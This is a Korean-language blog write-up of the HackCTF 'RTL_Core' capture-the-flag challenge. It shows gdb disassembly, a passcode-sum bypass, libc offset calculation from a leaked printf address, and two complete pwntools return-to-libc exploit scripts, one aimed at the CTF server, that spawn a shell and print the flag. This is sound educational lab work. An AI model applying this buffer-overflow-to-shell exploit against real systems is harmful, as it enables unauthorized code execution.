본문 바로가기

pwnable/HackCTF

[HackCTF] RTL_Core write up

728x90

 

c++문제들을 못 풀고.. Random Key는 맞게 푼 것 같은데 Nah.. 만 나올 뿐입니다 ㅠㅠㅠ

 

그냥 방황하다가 RTL_Core 문제를 풀었습니다.. 아직 초보에게는 갈길이 멀군요 ㅠㅠ

 

 

RTL(Return to libc)는 RET주소에 공유 라이브러리의 함수 주소를 덮어써서 해당 함수를 호출하는 방법입니다.

더 자세한 내용들은 잘 설명된 사이트들의 링크로 올려두겠습니다!

 

 

일단 main을 까보자!

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x08048685 <+0>:	lea    ecx,[esp+0x4]
   0x08048689 <+4>:	and    esp,0xfffffff0
   0x0804868c <+7>:	push   DWORD PTR [ecx-0x4]
   0x0804868f <+10>:	push   ebp
   0x08048690 <+11>:	mov    ebp,esp
   0x08048692 <+13>:	push   ecx
   0x08048693 <+14>:	sub    esp,0x24
   0x08048696 <+17>:	mov    eax,ds:0x804a034
   0x0804869b <+22>:	push   0x0
   0x0804869d <+24>:	push   0x2
   0x0804869f <+26>:	push   0x0
   0x080486a1 <+28>:	push   eax
   0x080486a2 <+29>:	call   0x80484b0 <setvbuf@plt>
   0x080486a7 <+34>:	add    esp,0x10
   0x080486aa <+37>:	sub    esp,0xc
   0x080486ad <+40>:	push   0x80487e8
   0x080486b2 <+45>:	call   0x8048480 <puts@plt>
   0x080486b7 <+50>:	add    esp,0x10
   0x080486ba <+53>:	sub    esp,0xc
   0x080486bd <+56>:	push   0x8048835
   0x080486c2 <+61>:	call   0x8048460 <printf@plt>
   0x080486c7 <+66>:	add    esp,0x10
   0x080486ca <+69>:	sub    esp,0xc
   0x080486cd <+72>:	lea    eax,[ebp-0x1c]
   0x080486d0 <+75>:	push   eax
   0x080486d1 <+76>:	call   0x8048470 <gets@plt>
   0x080486d6 <+81>:	add    esp,0x10
   0x080486d9 <+84>:	sub    esp,0xc
   0x080486dc <+87>:	lea    eax,[ebp-0x1c]
   0x080486df <+90>:	push   eax
   0x080486e0 <+91>:	call   0x80485cb <check_passcode>
   0x080486e5 <+96>:	add    esp,0x10
   0x080486e8 <+99>:	mov    edx,eax
   0x080486ea <+101>:	mov    eax,ds:0x804a030
   0x080486ef <+106>:	cmp    edx,eax
   0x080486f1 <+108>:	jne    0x804870a <main+133>
   0x080486f3 <+110>:	sub    esp,0xc
   0x080486f6 <+113>:	push   0x8048840
   0x080486fb <+118>:	call   0x8048480 <puts@plt>
   0x08048700 <+123>:	add    esp,0x10
   0x08048703 <+126>:	call   0x804860a <core>
   0x08048708 <+131>:	jmp    0x804871a <main+149>
   0x0804870a <+133>:	sub    esp,0xc
   0x0804870d <+136>:	push   0x8048881
   0x08048712 <+141>:	call   0x8048480 <puts@plt>
   0x08048717 <+146>:	add    esp,0x10
   0x0804871a <+149>:	mov    eax,0x0
   0x0804871f <+154>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048722 <+157>:	leave  
   0x08048723 <+158>:	lea    esp,[ecx-0x4]
   0x08048726 <+161>:	ret    
End of assembler dump.

 

 

출력문이 두 개 있고 gets()를 사용하는 것이 눈에 띄고 있습니다.

gets의 경우 (ebp - 0x1c)에다가 입력을 받고 있습니다. check_passcode는 입력받은 (ebp - 0x1c)를 인자로 넣어준 후 결괏값과 0x804a030의 값과 비교하고 있습니다. 0x8048a030을 찾아보겠습니다.

 

gdb-peda$ x/wx 0x804a030
0x804a030 <hashcode>:	0xc0d9b0a7
gdb-peda$ x/s 0x8048840
0x8048840:	"코드가 일치하구나. 좋아, 다음 단서를 던져주지"
gdb-peda$ x/s 0x8048881
0x8048881:	"실패!"

 

0xc0d9b0a7과 비교 후에 같아야 합니다. 

 

 

그렇다면 check_passcode는 어떤 일을 하는지 확인해보겠습니다.

 

gdb-peda$ pdisas check_passcode
Dump of assembler code for function check_passcode:
   0x080485cb <+0>:	push   ebp
   0x080485cc <+1>:	mov    ebp,esp
   0x080485ce <+3>:	sub    esp,0x10
   0x080485d1 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080485d4 <+9>:	mov    DWORD PTR [ebp-0xc],eax
   0x080485d7 <+12>:	mov    DWORD PTR [ebp-0x8],0x0
   0x080485de <+19>:	mov    DWORD PTR [ebp-0x4],0x0
   0x080485e5 <+26>:	jmp    0x80485ff <check_passcode+52>
   0x080485e7 <+28>:	mov    eax,DWORD PTR [ebp-0x4]
   0x080485ea <+31>:	lea    edx,[eax*4+0x0]
   0x080485f1 <+38>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080485f4 <+41>:	add    eax,edx
   0x080485f6 <+43>:	mov    eax,DWORD PTR [eax]
   0x080485f8 <+45>:	add    DWORD PTR [ebp-0x8],eax
   0x080485fb <+48>:	add    DWORD PTR [ebp-0x4],0x1
   0x080485ff <+52>:	cmp    DWORD PTR [ebp-0x4],0x4
   0x08048603 <+56>:	jle    0x80485e7 <check_passcode+28>
   0x08048605 <+58>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048608 <+61>:	leave  
   0x08048609 <+62>:	ret    
End of assembler dump.

 

우리가 입력해준 값의 위치를 인자로 넣어주었는데, 그 주소를 4바이트씩 증가시키면서 계속 더하고 그 결과를 return 해줍니다.

저는 사실 여기서 다르게 생각했다가 일일이 돌려보고 알아챘습니다..!

 

저만 이해 못했을 거 같지만 간단하게 설명하자면

(ebp-0x0c) AAAA

(ebp-0x10) AAAA

(ebp-0x14) AAAA

(ebp-0x18) AAAA

(ebp-0x1c) AAAA

와 같이 입력을 주었다고 합시다! 맨 밑의 층이 main의 (ebp - 0x1c)라고 합시다. 즉, gets()로 입력받아서 저 위치에서부터 채워졌을 때 check_passcode는 -0x1c, -0x18, 0x14 ... 순서대로 안에 있는 값을 꺼내와서 더해서 return 해줍니다. 따라서 여기서는 0x41414141 + 0x41414141 + 0x41414141 + 0x41414141 + 0x41414141의 결과를 주는 것입니다.

 

 

그렇기 때문에 입력 때 0xc0d9b0a7을 5로 나눈 값들을 하나씩 집어넣어주고 마지막 꺼에는 나머지까지 더해서 넣어주면 되겠죠?

5로 나누고 나머지를 마지막에 더한 값은 각각 "0x2691f021"과 "0x2691f023"입니다.

 

여기까지는 쉬웠는데... 마지막에 0x64를 그냥 64바이트로 알고.. 또 잘 기억 안 나던 명령어들 때문에.... 너무 시간을 오래 걸렸네요..

 

 

여기까지 왔으면 main에서 equal 할 때의 출력문이 나오고 core가 실행됩니다.

그럼 이제 core를 봐야겠죠..?

 

gdb-peda$ pdisas core
Dump of assembler code for function core:
   0x0804860a <+0>:	push   ebp
   0x0804860b <+1>:	mov    ebp,esp
   0x0804860d <+3>:	push   edi
   0x0804860e <+4>:	push   ebx
   0x0804860f <+5>:	sub    esp,0x40
   0x08048612 <+8>:	mov    DWORD PTR [ebp-0x3e],0x0
   0x08048619 <+15>:	lea    eax,[ebp-0x3a]
   0x0804861c <+18>:	mov    ecx,0x2e
   0x08048621 <+23>:	mov    ebx,0x0
   0x08048626 <+28>:	mov    DWORD PTR [eax],ebx
   0x08048628 <+30>:	mov    DWORD PTR [eax+ecx*1-0x4],ebx
   0x0804862c <+34>:	lea    edx,[eax+0x4]
   0x0804862f <+37>:	and    edx,0xfffffffc
   0x08048632 <+40>:	sub    eax,edx
   0x08048634 <+42>:	add    ecx,eax
   0x08048636 <+44>:	and    ecx,0xfffffffc
   0x08048639 <+47>:	shr    ecx,0x2
   0x0804863c <+50>:	mov    edi,edx
   0x0804863e <+52>:	mov    eax,ebx
   0x08048640 <+54>:	rep stos DWORD PTR es:[edi],eax
   0x08048642 <+56>:	sub    esp,0x8
   0x08048645 <+59>:	push   0x80487b0
   0x0804864a <+64>:	push   0xffffffff
   0x0804864c <+66>:	call   0x80484a0 <dlsym@plt>
   0x08048651 <+71>:	add    esp,0x10
   0x08048654 <+74>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048657 <+77>:	sub    esp,0x8
   0x0804865a <+80>:	push   DWORD PTR [ebp-0xc]
   0x0804865d <+83>:	push   0x80487b8
   0x08048662 <+88>:	call   0x8048460 <printf@plt>
   0x08048667 <+93>:	add    esp,0x10
   0x0804866a <+96>:	sub    esp,0x4
   0x0804866d <+99>:	push   0x64
   0x0804866f <+101>:	lea    eax,[ebp-0x3e]
   0x08048672 <+104>:	push   eax
   0x08048673 <+105>:	push   0x0
   0x08048675 <+107>:	call   0x8048450 <read@plt>
   0x0804867a <+112>:	add    esp,0x10
   0x0804867d <+115>:	nop
   0x0804867e <+116>:	lea    esp,[ebp-0x8]
   0x08048681 <+119>:	pop    ebx
   0x08048682 <+120>:	pop    edi
   0x08048683 <+121>:	pop    ebp
   0x08048684 <+122>:	ret    
End of assembler dump.

 

길지만 잘 보면, printf의 동적 링크된 후의 주소를 알려줍니다. 이게 단서입니다. 그렇다면 여기서 우리는 offset을 이용해서 system의 위치를 찾아서 호출할 수 있고, "/bin/sh"의 위치도 알아낼 수 있습니다.

 

gdb-peda$ p printf
$1 = {<text variable, no debug info>} 0xf7e262d0 <printf>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e12200 <system>
gdb-peda$ p printf-system
$3 = 0x140d0
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f530cf ("/bin/sh")
gdb-peda$ p 0xf7f530cf-0xf7e262d0
$4 = 0x12cdff

 

각각의 오프셋을 구했습니다.

그렇다면 익스플로잇을 바로 짜도록 하겠습니다.

 

여기서 주소가 system보다는 printf가 크고 printf보다는 "/bin/sh"가 크기 때문에 offset을 +, - 어떤 것을 할지 잘 봐야합니다.

 

from pwn import *

payload1 = "\x21\xf0\x91\x26" * 4
payload1 += "\x23\xf0\x91\x26"

payload2 = "A"*66
printf_system_offset = 0x140d0
printf_binsh_offset = 0x12cdff

p = process("./rtlcore")

p.recvuntil("Passcode: ")
p.sendline(payload1)

p.recvuntil("0x")
printf = p.recv(8)
printf = "0x" + printf

system = int(printf, 16) - printf_system_offset
binsh = int(printf, 16) + printf_binsh_offset

payload2 += p32(system)
payload2 += "A"*4
payload2 += p32(binsh)

p.recvline()
p.sendline(payload2)

p.interactive()
p.close()

 

실행하면 정상적으로 쉘이 획득되는 것을 확인할 수 있습니다.

 

[+] Starting local process './rtlcore': pid 7012
[*] Switching to interactive mode
$ ls -l
합계 1756
-rw-rw-r-- 1 min min     523  9월  3 22:38 ex.py
-rw-rw-r-- 1 min min     648  9월  3 22:35 ex2.py
-rw-rw-r-- 1 min min 1775464  4월 14 22:05 libc.so.6
-rw-r--r-- 1 min min      26  9월  3 22:33 peda-session-rtlcore.txt
-rwxr--r-- 1 min min    7648 11월 10  2018 rtlcore

 

그런데 remote('ctf.j0n9hyun.xyz', 3015)로 접속을 시도하니 쉘을 획득하지 못합니다.

 

[+] Opening connection to ctf.j0n9hyun.xyz on port 3015: Done
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
$ 
[*] Closed connection to ctf.j0n9hyun.xyz port 3015
[*] Got EOF while sending in interactive

 

 

여기서도 엄청 헤매었었는데, 예전에 write up들 보다가 실행하면서 라이브러리 주소를 얻어오는 것을 봤었습니다.

그래서 구글링 열심히 해서 찾아서 사용해봤더니 됐습니다......

 

참고했던 사이트들은 모두 아래에 <참고>에 올려두겠습니다.

 

그렇게 새롭게 짠 익스플로잇 코드는 다음과 같습니다.

 

from pwn import *

elf = ELF('./libc.so.6')

p = remote('ctf.j0n9hyun.xyz', 3015)

printf_system_offset = elf.symbols['printf'] - elf.symbols['system']
printf_binsh_offset = list(elf.search('/bin/sh'))[0] - elf.symbols['printf']

payload1 = "\x21\xf0\x91\x26"*4
payload1 += "\x23\xf0\x91\x26"

payload2 = "A"*66

p.recvuntil("Passcode: ")
p.sendline(payload1)

p.recvuntil("0x")
printf = "0x" + p.recv(8)

system_addr = int(printf, 16) - printf_system_offset
binsh_addr = int(printf, 16) + printf_binsh_offset

payload2 += p32(system_addr)
payload2 += "A"*4
payload2 += p32(binsh_addr)

p.recvline()
p.sendline(payload2)

p.interactive()
p.close()

 

여기서는 RTL_Core문제에서 같이 준 'libc.so.6'파일을 이용해서 ELF라이브러리를 등록해서 symbols로 주소를 얻어오고, search를 통해서 모든 "/bin/sh" 중 가장 첫 번째를 사용하는 것입니다.

이렇게 하면 서버에서 사용하는 것과 같은 라이브러리 libc.so.6을 통해서 서버와 같은 오프셋을 얻어낼 수 있는 것입니다.

 

[*] '/home/min/\xeb\xb0\x94\xed\x83\x95\xed\x99\x94\xeb\xa9\xb4/BOF/RTLcore/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to ctf.j0n9hyun.xyz on port 3015: Done
[*] Switching to interactive mode
$ ls -l
total 12
-r--rw---- 1 attack root   40 Nov 10  2018 flag
-r-xrwx--x 1 attack root 7648 Nov 10  2018 main
$ cat flag
HackCTF{5ucc355ful_r7lc0r3_f1l3_4cc355}

 

중간에 뻘짓들도 많이 하고... 돌아 돌아서 겨우 찾아왔네요 ㅠㅠㅠㅠ

이제 개강이라 많이 못할 것 같은데 학교 수업하면서 어렵거나 헷갈리는 것들을 올려야겠습니다.

 

 

<참고>

https://xn--vj5b11biyw.kr/191

https://crattack.tistory.com/entry/%ED%95%A8%EC%88%98-offset-%EA%B3%84%EC%82%B0-%EB%B0%A9%EB%B2%95

https://nroses-taek.tistory.com/188

https://baobob1024.tistory.com/m/119

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

728x90